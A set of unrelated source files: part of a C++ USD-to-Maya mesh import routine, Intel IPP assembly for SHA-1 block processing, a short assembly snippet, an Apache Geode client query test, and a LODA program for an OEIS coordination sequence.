care if it's a color set, a // UV set, etc. if (excludePrimvarSet.count(fullName) != 0) { continue; } // If the primvar is called either displayColor or displayOpacity check // if it was really authored from the user. It may not have been // authored by the user, for example if it was generated by shader // values and not an authored colorset/entity. // If it was not really authored, we skip the primvar. if (name == UsdMayaMeshPrimvarTokens->DisplayColorColorSetName || name == UsdMayaMeshPrimvarTokens->DisplayOpacityColorSetName) { if (!UsdMayaRoundTripUtil::IsAttributeUserAuthored(primvar)) { continue; } } // XXX: Maya stores UVs in MFloatArrays and color set data in MColors // which store floats, so we currently only import primvars holding // float-typed arrays. Should we still consider other precisions // (double, half, ...) and/or numeric types (int)? if (typeName == SdfValueTypeNames->TexCoord2fArray || (UsdMayaReadUtil::ReadFloat2AsUV() && typeName == SdfValueTypeNames->Float2Array)) { // Looks for TexCoord2fArray types for UV sets first // Otherwise, if env variable for reading Float2 // as uv sets is turned on, we assume that Float2Array primvars // are UV sets. if (!assignUVSetPrimvarToMesh(primvar, meshFn, hasDefaultUVSet)) { TF_WARN("Unable to retrieve and assign data for UV set <%s> on " "mesh <%s>", name.GetText(), mesh.GetPrim().GetPath().GetText()); } } else if (typeName == SdfValueTypeNames->FloatArray || typeName == SdfValueTypeNames->Float3Array || typeName == SdfValueTypeNames->Color3fArray || typeName == SdfValueTypeNames->Float4Array || typeName == SdfValueTypeNames->Color4fArray) { if (!assignColorSetPrimvarToMesh(mesh, primvar, meshFn)) { TF_WARN("Unable to retrieve and assign data for color set <%s> " "on mesh <%s>", name.GetText(), mesh.GetPrim().GetPath().GetText()); } } else if (interpolation == UsdGeomTokens->constant) { // Constant primvars get added as attributes on the mesh. if (!assignConstantPrimvarToMesh(primvar, meshFn)) { TF_WARN("Unable to assign constant primvar <%s> as attribute " "on mesh <%s>", name.GetText(), mesh.GetPrim().GetPath().GetText()); } } } } void UsdMayaMeshReadUtils::assignInvisibleFaces(const UsdGeomMesh& mesh, const MObject& meshObj) { if(meshObj.apiType() != MFn::kMesh){ return; } MFnMesh meshFn(meshObj); // Set Holes VtIntArray holeIndices; mesh.GetHoleIndicesAttr().Get(&holeIndices); // not animatable if (!holeIndices.empty()) { MUintArray mayaHoleIndices; mayaHoleIndices.setLength(holeIndices.size()); for (size_t i = 0u; i < holeIndices.size(); ++i) { mayaHoleIndices[i] = holeIndices[i]; } if (meshFn.setInvisibleFaces(mayaHoleIndices) != MS::kSuccess) { TF_RUNTIME_ERROR("Unable to set Invisible Faces on <%s>", meshFn.fullPathName().asChar()); } } } MStatus UsdMayaMeshReadUtils::assignSubDivTagsToMesh( const UsdGeomMesh& mesh, MObject& meshObj, MFnMesh& meshFn ) { // We may want to provide the option in the future, but for now, we // default to using crease sets when setting crease data. // const bool USE_CREASE_SETS = true; MStatus statusOK{MS::kSuccess}; MDagPath meshPath; statusOK = MDagPath::getAPathTo(meshObj,meshPath); if (!statusOK){ return MS::kFailure; } // USD does not support grouped verts and edges, so combine all components // with the same weight into one set to reduce the overall crease set // count. The user can always split the sets up later if desired. // // This structure is unused if crease sets aren't being created. std::unordered_map<float,MSelectionList> elemsPerWeight; // Vert Creasing VtIntArray subdCornerIndices; VtFloatArray subdCornerSharpnesses; mesh.GetCornerIndicesAttr().Get(&subdCornerIndices); // not animatable mesh.GetCornerSharpnessesAttr().Get(&subdCornerSharpnesses); // not animatable if (!subdCornerIndices.empty()) { if (subdCornerIndices.size() == subdCornerSharpnesses.size() ) { statusOK.clear(); if (USE_CREASE_SETS) { MItMeshVertex vertIt(meshObj); for (unsigned int i=0; i < subdCornerIndices.size(); i++) { // Ignore zero-sharpness corners if (subdCornerSharpnesses[i]==0) continue; MSelectionList &elemList = elemsPerWeight[ subdCornerSharpnesses[i] ]; int prevIndexDummy; // dummy param statusOK = vertIt.setIndex(subdCornerIndices[i], prevIndexDummy); if (!statusOK) break; statusOK = elemList.add(meshPath,vertIt.currentItem()); if (!statusOK) break; } } else { MUintArray mayaCreaseVertIds; MDoubleArray mayaCreaseVertValues; mayaCreaseVertIds.setLength( subdCornerIndices.size() ); mayaCreaseVertValues.setLength( subdCornerIndices.size() ); for (unsigned int i=0; i < subdCornerIndices.size(); i++) { // Ignore zero-sharpness corners if (subdCornerSharpnesses[i]==0) continue; mayaCreaseVertIds[i] = subdCornerIndices[i]; mayaCreaseVertValues[i] = subdCornerSharpnesses[i]; } statusOK = meshFn.setCreaseVertices(mayaCreaseVertIds, mayaCreaseVertValues); } if (!statusOK) { TF_RUNTIME_ERROR("Unable to set Crease Vertices on <%s>: %s", meshFn.fullPathName().asChar(), statusOK.errorString().asChar()); return MS::kFailure; } } else { TF_RUNTIME_ERROR( "Mismatch between Corner Indices & Sharpness on <%s>", mesh.GetPrim().GetPath().GetText()); return MS::kFailure; } } // Edge Creasing VtIntArray subdCreaseLengths; VtIntArray subdCreaseIndices; VtFloatArray subdCreaseSharpnesses; mesh.GetCreaseLengthsAttr().Get(&subdCreaseLengths); mesh.GetCreaseIndicesAttr().Get(&subdCreaseIndices); mesh.GetCreaseSharpnessesAttr().Get(&subdCreaseSharpnesses); if (!subdCreaseLengths.empty()) { if (subdCreaseLengths.size() == subdCreaseSharpnesses.size() ) { MUintArray mayaCreaseEdgeIds; MDoubleArray mayaCreaseEdgeValues; MIntArray connectedEdges; unsigned int creaseIndexBase = 0; statusOK.clear(); for (unsigned int creaseGroup=0; statusOK && creaseGroup<subdCreaseLengths.size(); creaseIndexBase+=subdCreaseLengths[creaseGroup++]) { // Ignore zero-sharpness creases if (subdCreaseSharpnesses[creaseGroup]==0) continue; MItMeshVertex vertIt(meshObj); MItMeshEdge edgeIt(meshObj); for (int i=0; statusOK && i<subdCreaseLengths[creaseGroup]-1; i++) { // Find the edgeId associated with the 2 vertIds. int prevIndexDummy; // dummy param statusOK = vertIt.setIndex(subdCreaseIndices[creaseIndexBase+i], prevIndexDummy); if (!statusOK) break; statusOK = vertIt.getConnectedEdges(connectedEdges); if (!statusOK) break; int edgeIndex = -1; for (unsigned int e=0; statusOK && e<connectedEdges.length(); e++) { int tmpOppositeVertexId; statusOK = vertIt.getOppositeVertex(tmpOppositeVertexId, connectedEdges[e]); if (!statusOK) break; if ( subdCreaseIndices[creaseIndexBase+i+1] == tmpOppositeVertexId ) { edgeIndex = connectedEdges[e]; break; } } if (statusOK && edgeIndex != -1) { if (USE_CREASE_SETS) { int prevIndexDummy; // dummy param statusOK = edgeIt.setIndex(edgeIndex,prevIndexDummy); if (!statusOK) break; statusOK = elemsPerWeight[subdCreaseSharpnesses[creaseGroup]]. add(meshPath,edgeIt.currentItem()); if (!statusOK) break; } else { mayaCreaseEdgeIds.append(edgeIndex); mayaCreaseEdgeValues.append(subdCreaseSharpnesses[creaseGroup]); } } } } if (statusOK && !USE_CREASE_SETS) { statusOK = meshFn.setCreaseEdges(mayaCreaseEdgeIds, mayaCreaseEdgeValues); } if (!statusOK) { TF_RUNTIME_ERROR("Unable to set Crease Edges on <%s>: %s", meshFn.fullPathName().asChar(), statusOK.errorString().asChar()); return MS::kFailure; } } else { TF_RUNTIME_ERROR( "Mismatch between Crease Lengths & Sharpness on <%s>", mesh.GetPrim().GetPath().GetText()); return MS::kFailure; } } if (USE_CREASE_SETS) { TF_FOR_ALL(weightList, elemsPerWeight) { double creaseLevel = weightList->first; MSelectionList &elemList = weightList->second; if (!addCreaseSet( meshFn.name().asChar(), creaseLevel, elemList, &statusOK )){ TF_RUNTIME_ERROR("Unable to set crease sets on <%s>: %s", meshFn.fullPathName().asChar(), statusOK.errorString().asChar()); return MS::kFailure; } } } return MS::kSuccess; } PXR_NAMESPACE_CLOSE_SCOPE
;=============================================================================== ; Copyright 2015-2020 Intel Corporation ; ; Licensed under the Apache License, Version 2.0 (the "License"); ; you may not use this file except in compliance with the License. ; You may obtain a copy of the License at ; ; http://www.apache.org/licenses/LICENSE-2.0 ; ; Unless required by applicable law or agreed to in writing, software ; distributed under the License is distributed on an "AS IS" BASIS, ; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ; See the License for the specific language governing permissions and ; limitations under the License. ;=============================================================================== ; ; ; Purpose: Cryptography Primitive. ; Message block processing according to SHA1 ; ; Content: ; UpdateSHA1 ; ; %include "asmdefs.inc" %include "ia_32e.inc" %include "pcpvariant.inc" %if (_ENABLE_ALG_SHA1_) %if (_SHA_NI_ENABLING_ == _FEATURE_OFF_) || (_SHA_NI_ENABLING_ == _FEATURE_TICKTOCK_) %if (_IPP32E >= _IPP32E_M7) && (_IPP32E < _IPP32E_U8 ) ;; ;; Magic functions defined in FIPS 180-1 ;; %macro MAGIC_F0 4-5.nolist %xdefine %%regF %1 %xdefine %%regB %2 %xdefine %%regC %3 %xdefine %%regD %4 %xdefine %%regT %5 mov %%regF,%%regC xor %%regF,%%regD and %%regF,%%regB xor %%regF,%%regD %endmacro %macro MAGIC_F1 4-5.nolist %xdefine %%regF %1 %xdefine %%regB %2 %xdefine %%regC %3 %xdefine %%regD %4 %xdefine %%regT %5 mov %%regF,%%regD xor %%regF,%%regC xor %%regF,%%regB %endmacro %macro MAGIC_F2 5.nolist %xdefine %%regF %1 %xdefine %%regB %2 %xdefine %%regC %3 %xdefine %%regD %4 %xdefine %%regT %5 mov %%regF,%%regB mov %%regT,%%regB or %%regF,%%regC and %%regT,%%regC and %%regF,%%regD or %%regF,%%regT %endmacro %macro MAGIC_F3 4-5.nolist %xdefine %%regF %1 %xdefine %%regB %2 %xdefine %%regC %3 %xdefine %%regD %4 %xdefine %%regT %5 MAGIC_F1 {%%regF},{%%regB},{%%regC},{%%regD},{%%regT} %endmacro ;; ;; single SHA1 step ;; ;; Ipp32u tmp = ROL(A,5) + MAGIC_Fi(B,C,D) + E + W[t] + CNT[i]; ;; E = D; ;; D = C; ;; C = ROL(B,30); ;; B = A; ;; A = tmp; ;; %macro SHA1_STEP 10.nolist %xdefine %%regA %1 %xdefine %%regB %2 %xdefine %%regC %3 %xdefine %%regD %4 %xdefine %%regE %5 %xdefine %%regT %6 %xdefine %%regF %7 %xdefine %%memW %8 %xdefine %%immCNT %9 %xdefine %%MAGIC %10 add %%regE,%%immCNT add %%regE,[%%memW] mov %%regT,%%regA rol %%regT,5 add %%regE,%%regT %%MAGIC %%regF,%%regB,%%regC,%%regD,%%regT ;; FUN = MAGIC_Fi(B,C,D) rol %%regB,30 add %%regE,%%regF %endmacro %macro SHA1_RND0 8.nolist %xdefine %%regA %1 %xdefine %%regB %2 %xdefine %%regC %3 %xdefine %%regD %4 %xdefine %%regE %5 %xdefine %%regT %6 %xdefine %%regF %7 %xdefine %%nr %8 %assign %%immCNT 05A827999h mov r13d,%%immCNT MAGIC_F0 %%regF,%%regB,%%regC,%%regD ;; FUN = MAGIC_Fi(B,C,D) ror %%regB,(32-30) mov %%regT,%%regA rol %%regT,5 add %%regE,[rsp+(((%%nr) & 0Fh)*4)] ; lea regE,[regE+regF+immCNT] ; substituted with 2 adds because of gnu as bug add r13d, %%regF add %%regE, r13d add %%regE,%%regT %endmacro %macro SHA1_RND1 8.nolist %xdefine %%regA %1 %xdefine %%regB %2 %xdefine %%regC %3 %xdefine %%regD %4 %xdefine %%regE %5 %xdefine %%regT %6 %xdefine %%regF %7 %xdefine %%nr %8 %assign %%immCNT 06ED9EBA1h mov r13d,%%immCNT MAGIC_F1 {%%regF},{%%regB},{%%regC},{%%regD} ;; FUN = MAGIC_Fi(B,C,D) ror %%regB,(32-30) mov %%regT,%%regA rol %%regT,5 add %%regE,[rsp+(((%%nr) & 0Fh)*4)] ; lea regE,[regE+regF+immCNT] ; substituted with 2 adds because of gnu as bug add r13d, %%regF add %%regE, r13d add %%regE,%%regT %endmacro %macro SHA1_RND2 8.nolist %xdefine %%regA %1 %xdefine %%regB %2 %xdefine %%regC %3 %xdefine %%regD %4 %xdefine %%regE %5 %xdefine %%regT %6 %xdefine %%regF %7 %xdefine %%nr %8 %ifndef _VXWORKS %assign %%immCNT 08F1BBCDCh %else %assign %%immCNT -1894007588 %endif mov r13d,%%immCNT MAGIC_F2 %%regF,%%regB,%%regC,%%regD,%%regT ;; FUN = MAGIC_Fi(B,C,D) ror %%regB,(32-30) mov %%regT,%%regA rol %%regT,5 add %%regE,[rsp+(((%%nr) & 0Fh)*4)] ; lea regE,[regE+regF+immCNT] ; substituted with 2 adds because of gnu as bug add r13d, %%regF add %%regE, r13d add %%regE,%%regT %endmacro %macro SHA1_RND3 8.nolist %xdefine %%regA %1 %xdefine %%regB %2 %xdefine %%regC %3 %xdefine %%regD %4 %xdefine %%regE %5 %xdefine %%regT %6 %xdefine %%regF %7 %xdefine %%nr %8 %ifndef _VXWORKS %assign %%immCNT 0CA62C1D6h %else %assign %%immCNT -899497514 %endif mov r13d,%%immCNT MAGIC_F3 {%%regF},{%%regB},{%%regC},{%%regD} ;; FUN = MAGIC_Fi(B,C,D) ror %%regB,(32-30) mov %%regT,%%regA rol %%regT,5 add %%regE,[rsp+(((%%nr) & 0Fh)*4)] ; lea regE,[regE+regF+immCNT] ; substituted with 2 adds because of gnu as bug add r13d, %%regF add %%regE, r13d add %%regE,%%regT %endmacro ;; ;; ENDIANNESS ;; %macro ENDIANNESS 2.nolist %xdefine %%dst %1 %xdefine %%src %2 %ifnidn %%dst,%%src mov %%dst,%%src %endif bswap %%dst %endmacro ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; ;; Following Macros are especially for new implementation of SHA1 ;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; %macro UPDATE 2-3.nolist %xdefine %%nr %1 %xdefine %%regU %2 %xdefine %%regT %3 %ifempty %%regT mov %%regU,[rsp+((%%nr-16) & 0Fh)*4] xor %%regU,[rsp+((%%nr-14) & 0Fh)*4] xor %%regU,[rsp+((%%nr-8) & 0Fh)*4] xor %%regU,[rsp+((%%nr-3) & 0Fh)*4] %else mov %%regU,[rsp+((%%nr-16) & 0Fh)*4] mov %%regT,[rsp+((%%nr-14) & 0Fh)*4] xor %%regU,%%regT mov %%regT,[rsp+((%%nr-8) & 0Fh)*4] xor %%regU,%%regT mov %%regT,[rsp+((%%nr-3) & 0Fh)*4] xor %%regU,%%regT %endif rol %%regU,1 mov [rsp+(%%nr & 0Fh)*4],%%regU %endmacro segment .text align=IPP_ALIGN_FACTOR ;***************************************************************************************** ;* Purpose: Update internal digest according to message block ;* ;* void UpdateSHA1(DigestSHA1 digest, const Ipp32u* mblk, int mlen, const void* pParam) ;* ;***************************************************************************************** ;; ;; Lib = M7 ;; ;; Caller = ippsSHA1Update ;; Caller = ippsSHA1Final ;; Caller = ippsSHA1MessageDigest ;; ;; Caller = ippsHMACSHA1Update ;; Caller = ippsHMACSHA1Final ;; Caller = ippsHMACSHA1MessageDigest ;; align IPP_ALIGN_FACTOR IPPASM UpdateSHA1,PUBLIC %assign LOCAL_FRAME 16*4 USES_GPR rbx,rsi,rdi,r8,r9,r10,r11,r12,r13 USES_XMM COMP_ABI 4 %xdefine MBS_SHA1 (64) movsxd rdx, edx ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; ;; process next data block ;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; .sha1_block_loop: ;; ;; init A, B, C, D, E by the internal digest ;; mov r8d, [rdi+0*4] ; r8d = digest[0] (A) mov r9d, [rdi+1*4] ; r9d = digest[1] (B) mov r10d,[rdi+2*4] ; r10d= digest[2] (C) mov r11d,[rdi+3*4] ; r11d= digest[3] (D) mov r12d,[rdi+4*4] ; r12d= digest[4] (E) ;; ;; initialize the first 16 words in the array W (remember about endian) ;; xor rcx,rcx .loop1: mov eax,[rsi+rcx*4+0*4] ENDIANNESS eax,eax mov [rsp+rcx*4+0*4],eax mov ebx,[rsi+rcx*4+1*4] ENDIANNESS ebx,ebx mov [rsp+rcx*4+1*4],ebx add rcx,2 cmp rcx,16 jl .loop1 ;; ;; perform 0-79 steps ;; ;; A, B, C, D, E, TMP,FUN, round ;; ----------------------------------- SHA1_RND0 r8d,r9d,r10d,r11d,r12d, ecx,ebx, 0 UPDATE 16, eax SHA1_RND0 r12d,r8d,r9d,r10d,r11d, ecx,ebx, 1 UPDATE 17, eax SHA1_RND0 r11d,r12d,r8d,r9d,r10d, ecx,ebx, 2 UPDATE 18, eax SHA1_RND0 r10d,r11d,r12d,r8d,r9d, ecx,ebx, 3 UPDATE 19, eax SHA1_RND0 r9d,r10d,r11d,r12d,r8d, ecx,ebx, 4 UPDATE 20, eax SHA1_RND0 r8d,r9d,r10d,r11d,r12d, ecx,ebx, 5 UPDATE 21, eax SHA1_RND0 r12d,r8d,r9d,r10d,r11d, ecx,ebx, 6 UPDATE 22, eax SHA1_RND0 r11d,r12d,r8d,r9d,r10d, ecx,ebx, 7 UPDATE 23, eax SHA1_RND0 r10d,r11d,r12d,r8d,r9d, ecx,ebx, 8 UPDATE 24, eax SHA1_RND0 r9d,r10d,r11d,r12d,r8d, ecx,ebx, 9 UPDATE 25, eax SHA1_RND0 r8d,r9d,r10d,r11d,r12d, ecx,ebx, 10 UPDATE 26, eax SHA1_RND0 r12d,r8d,r9d,r10d,r11d, ecx,ebx, 11 UPDATE 27, eax SHA1_RND0 r11d,r12d,r8d,r9d,r10d, ecx,ebx, 12 UPDATE 28, eax SHA1_RND0 r10d,r11d,r12d,r8d,r9d, ecx,ebx, 13 UPDATE 29, eax SHA1_RND0 r9d,r10d,r11d,r12d,r8d, ecx,ebx, 14 UPDATE 30, eax SHA1_RND0 r8d,r9d,r10d,r11d,r12d, ecx,ebx, 15 UPDATE 31, eax SHA1_RND0 r12d,r8d,r9d,r10d,r11d, ecx,ebx, 16 UPDATE 32, eax SHA1_RND0 r11d,r12d,r8d,r9d,r10d, ecx,ebx, 17 UPDATE 33, eax SHA1_RND0 r10d,r11d,r12d,r8d,r9d, ecx,ebx, 18 UPDATE 34, eax SHA1_RND0 r9d,r10d,r11d,r12d,r8d, ecx,ebx, 19 UPDATE 35, eax SHA1_RND1 r8d,r9d,r10d,r11d,r12d, ecx,ebx, 20 UPDATE 36, eax SHA1_RND1 r12d,r8d,r9d,r10d,r11d, ecx,ebx, 21 UPDATE 37, eax SHA1_RND1 r11d,r12d,r8d,r9d,r10d, ecx,ebx, 22 UPDATE 38, eax SHA1_RND1 r10d,r11d,r12d,r8d,r9d, ecx,ebx, 23 UPDATE 39, eax SHA1_RND1 r9d,r10d,r11d,r12d,r8d, ecx,ebx, 24 UPDATE 40, eax SHA1_RND1 r8d,r9d,r10d,r11d,r12d, ecx,ebx, 25 UPDATE 41, eax SHA1_RND1 r12d,r8d,r9d,r10d,r11d, ecx,ebx, 26 UPDATE 42, eax SHA1_RND1 r11d,r12d,r8d,r9d,r10d, ecx,ebx, 27 UPDATE 43, eax SHA1_RND1 r10d,r11d,r12d,r8d,r9d, ecx,ebx, 28 UPDATE 44, eax SHA1_RND1 r9d,r10d,r11d,r12d,r8d, ecx,ebx, 29 UPDATE 45, eax SHA1_RND1 r8d,r9d,r10d,r11d,r12d, ecx,ebx, 30 UPDATE 46, eax SHA1_RND1 r12d,r8d,r9d,r10d,r11d, ecx,ebx, 31 UPDATE 47, eax SHA1_RND1 r11d,r12d,r8d,r9d,r10d, ecx,ebx, 32 UPDATE 48, eax SHA1_RND1 r10d,r11d,r12d,r8d,r9d, ecx,ebx, 33 UPDATE 49, eax SHA1_RND1 r9d,r10d,r11d,r12d,r8d, ecx,ebx, 34 UPDATE 50, eax SHA1_RND1 r8d,r9d,r10d,r11d,r12d, ecx,ebx, 35 UPDATE 51, eax SHA1_RND1 r12d,r8d,r9d,r10d,r11d, ecx,ebx, 36 UPDATE 52, eax SHA1_RND1 r11d,r12d,r8d,r9d,r10d, ecx,ebx, 37 UPDATE 53, eax SHA1_RND1 r10d,r11d,r12d,r8d,r9d, ecx,ebx, 38 UPDATE 54, eax SHA1_RND1 r9d,r10d,r11d,r12d,r8d, ecx,ebx, 39 UPDATE 55, eax SHA1_RND2 r8d,r9d,r10d,r11d,r12d, ecx,ebx, 40 UPDATE 56, eax SHA1_RND2 r12d,r8d,r9d,r10d,r11d, ecx,ebx, 41 UPDATE 57, eax SHA1_RND2 r11d,r12d,r8d,r9d,r10d, ecx,ebx, 42 UPDATE 58, eax SHA1_RND2 r10d,r11d,r12d,r8d,r9d, ecx,ebx, 43 UPDATE 59, eax SHA1_RND2 r9d,r10d,r11d,r12d,r8d, ecx,ebx, 44 UPDATE 60, eax SHA1_RND2 r8d,r9d,r10d,r11d,r12d, ecx,ebx, 45 UPDATE 61, eax SHA1_RND2 r12d,r8d,r9d,r10d,r11d, ecx,ebx, 46 UPDATE 62, eax SHA1_RND2 r11d,r12d,r8d,r9d,r10d, ecx,ebx, 47 UPDATE 63, eax SHA1_RND2 r10d,r11d,r12d,r8d,r9d, ecx,ebx, 48 UPDATE 64, eax SHA1_RND2 r9d,r10d,r11d,r12d,r8d, ecx,ebx, 49 UPDATE 65, eax SHA1_RND2 r8d,r9d,r10d,r11d,r12d, ecx,ebx, 50 UPDATE 66, eax SHA1_RND2 r12d,r8d,r9d,r10d,r11d, ecx,ebx, 51 UPDATE 67, eax SHA1_RND2 r11d,r12d,r8d,r9d,r10d, ecx,ebx, 52 UPDATE 68, eax SHA1_RND2 r10d,r11d,r12d,r8d,r9d, ecx,ebx, 53 UPDATE 69, eax SHA1_RND2 r9d,r10d,r11d,r12d,r8d, ecx,ebx, 54 UPDATE 70, eax SHA1_RND2 r8d,r9d,r10d,r11d,r12d, ecx,ebx, 55 UPDATE 71, eax SHA1_RND2 r12d,r8d,r9d,r10d,r11d, ecx,ebx, 56 UPDATE 72, eax SHA1_RND2 r11d,r12d,r8d,r9d,r10d, ecx,ebx, 57 UPDATE 73, eax SHA1_RND2 r10d,r11d,r12d,r8d,r9d, ecx,ebx, 58 UPDATE 74, eax SHA1_RND2 r9d,r10d,r11d,r12d,r8d, ecx,ebx, 59 UPDATE 75, eax SHA1_RND3 r8d,r9d,r10d,r11d,r12d, ecx,ebx, 60 UPDATE 76, eax SHA1_RND3 r12d,r8d,r9d,r10d,r11d, ecx,ebx, 61 UPDATE 77, eax SHA1_RND3 r11d,r12d,r8d,r9d,r10d, ecx,ebx, 62 UPDATE 78, eax SHA1_RND3 r10d,r11d,r12d,r8d,r9d, ecx,ebx, 63 UPDATE 79, eax SHA1_RND3 r9d,r10d,r11d,r12d,r8d, ecx,ebx, 64 SHA1_RND3 r8d,r9d,r10d,r11d,r12d, ecx,ebx, 65 SHA1_RND3 r12d,r8d,r9d,r10d,r11d, ecx,ebx, 66 SHA1_RND3 r11d,r12d,r8d,r9d,r10d, ecx,ebx, 67 SHA1_RND3 r10d,r11d,r12d,r8d,r9d, ecx,ebx, 68 SHA1_RND3 r9d,r10d,r11d,r12d,r8d, ecx,ebx, 69 SHA1_RND3 r8d,r9d,r10d,r11d,r12d, ecx,ebx, 70 SHA1_RND3 r12d,r8d,r9d,r10d,r11d, ecx,ebx, 71 SHA1_RND3 r11d,r12d,r8d,r9d,r10d, ecx,ebx, 72 SHA1_RND3 r10d,r11d,r12d,r8d,r9d, ecx,ebx, 73 SHA1_RND3 r9d,r10d,r11d,r12d,r8d, ecx,ebx, 74 SHA1_RND3 r8d,r9d,r10d,r11d,r12d, ecx,ebx, 75 SHA1_RND3 r12d,r8d,r9d,r10d,r11d, ecx,ebx, 76 SHA1_RND3 r11d,r12d,r8d,r9d,r10d, ecx,ebx, 77 SHA1_RND3 r10d,r11d,r12d,r8d,r9d, ecx,ebx, 78 SHA1_RND3 r9d,r10d,r11d,r12d,r8d, ecx,ebx, 79 ;; ;; update digest ;; add [rdi+0*4],r8d ; advance digest add [rdi+1*4],r9d add [rdi+2*4],r10d add [rdi+3*4],r11d add [rdi+4*4],r12d add rsi, MBS_SHA1 sub rdx, MBS_SHA1 jg .sha1_block_loop REST_XMM REST_GPR ret ENDFUNC UpdateSHA1 %endif ;; (_IPP32E >= _IPP32E_M7) AND (_IPP32E < _IPP32E_U8 ) %endif ;; _FEATURE_OFF_ / _FEATURE_TICKTOCK_ %endif ;; _ENABLE_ALG_SHA1_
[bits 64] xorps xmm2, xmm2 xorps xmm10, xmm10
/* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include "fw_dunit.hpp" #include <ace/OS.h> #include <ace/High_Res_Timer.h> #include <ace/Task.h> #include <string> #define ROOT_NAME "testThinClientRegionQueryExclusiveness" #define ROOT_SCOPE DISTRIBUTED_ACK #include "ThinClientHelper.hpp" #include "testobject/Portfolio.hpp" #include <geode/Query.hpp> #include <geode/QueryService.hpp> #include <geode/ResultSet.hpp> #include <geode/StructSet.hpp> #include "SerializationRegistry.hpp" #include "CacheRegionHelper.hpp" #include "CacheImpl.hpp" #define CLIENT1 s1p1 #define SERVER s2p1 #define LOCATOR s2p2 using apache::geode::client::IllegalStateException; using apache::geode::client::QueryService; using testobject::Portfolio; using testobject::Position; bool isLocator = false; bool isLocalServer = false; const char *poolNames[] = {"Pool1", "Pool2", "Pool3"}; const char *locHostPort = CacheHelper::getLocatorHostPort(isLocator, isLocalServer, 1); const char *qRegionNames[] = {"Portfolios", "Positions"}; void clientOperations() { initClient(true); try { auto serializationRegistry = CacheRegionHelper::getCacheImpl(cacheHelper->getCache().get()) ->getSerializationRegistry(); serializationRegistry->addDataSerializableType( Position::createDeserializable, 2); serializationRegistry->addDataSerializableType( Portfolio::createDeserializable, 3); } catch (const IllegalStateException &) { // ignore exception } std::shared_ptr<Pool> pool1 = nullptr; pool1 = createPool(poolNames[0], locHostPort, nullptr, 0, true); createRegionAndAttachPool(qRegionNames[0], USE_ACK, poolNames[0]); auto rptr = getHelper()->cachePtr->getRegion(qRegionNames[0]); auto p1 = std::make_shared<Portfolio>(1, 100); auto p2 = std::make_shared<Portfolio>(2, 100); auto p3 = std::make_shared<Portfolio>(3, 100); auto p4 = std::make_shared<Portfolio>(4, 100); rptr->put("1", p1); rptr->put("2", p2); rptr->put("3", p3); rptr->put("4", p4); std::shared_ptr<QueryService> qs = nullptr; qs = pool1->getQueryService(); auto qry1 = qs->newQuery("select distinct * from /Portfolios"); auto results1 = qry1->execute(); ASSERT(results1->size() == 4, "Expected 4 as number of portfolio objects put were 4"); // Bring down the region rptr->localDestroyRegion(); LOG("StepOne complete."); try { LOG("Going to execute the query"); auto qry2 = qs->newQuery("select distinct * from /Portfolios"); auto results2 = qry2->execute(); ASSERT(results2->size() == 4, "Failed verification"); } catch (...) { FAIL("Got an exception!"); } LOG("StepTwo complete."); } DUNIT_TASK_DEFINITION(LOCATOR, StartLocator) { // starting locator 1 2 if (isLocator) { CacheHelper::initLocator(1); } LOG("Locator started"); } END_TASK_DEFINITION DUNIT_TASK_DEFINITION(SERVER, CreateServer) { LOG("Starting SERVER..."); if (isLocalServer) CacheHelper::initServer(1, "cacheserver_remoteoql.xml"); LOG("SERVER started"); } END_TASK_DEFINITION DUNIT_TASK_DEFINITION(SERVER, CreateServerWithLocator) { LOG("Starting SERVER1..."); if (isLocalServer) { CacheHelper::initServer(1, "cacheserver_remoteoql.xml", locHostPort); } LOG("SERVER1 started"); } END_TASK_DEFINITION DUNIT_TASK_DEFINITION(CLIENT1, ClientOpPoolLocator) { clientOperations(); } END_TASK_DEFINITION DUNIT_TASK_DEFINITION(CLIENT1, CloseCache1) { LOG("cleanProc 1..."); cleanProc(); } END_TASK_DEFINITION DUNIT_TASK_DEFINITION(SERVER, CloseServer) { LOG("closing Server1..."); if (isLocalServer) { CacheHelper::closeServer(1); LOG("SERVER stopped"); } } END_TASK_DEFINITION DUNIT_TASK_DEFINITION(LOCATOR, CloseLocator) { if (isLocator) { CacheHelper::closeLocator(1); LOG("Locator1 stopped"); } } END_TASK_DEFINITION DUNIT_MAIN {CALL_TASK(StartLocator) CALL_TASK(CreateServerWithLocator) CALL_TASK(ClientOpPoolLocator) CALL_TASK(CloseCache1) CALL_TASK(CloseServer) CALL_TASK(CloseLocator)} END_MAIN
; A315466: Coordination sequence Gal.6.158.4 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings. ; Submitted by Simon Strandgaard ; 1,6,11,16,21,26,30,35,40,45,50,56,62,67,72,77,82,86,91,96,101,106,112,118,123,128,133,138,142,147,152,157,162,168,174,179,184,189,194,198,203,208,213,218,224,230,235,240,245,250 mov $5,$0 mul $0,2 mov $4,$0 sub $0,1 div $0,11 add $0,1 mod $0,2 mov $2,$4 mul $2,6 div $2,11 mov $6,$2 add $6,$0 mov $1,$6 mov $3,$5 mul $3,4 add $1,$3 mov $0,$1
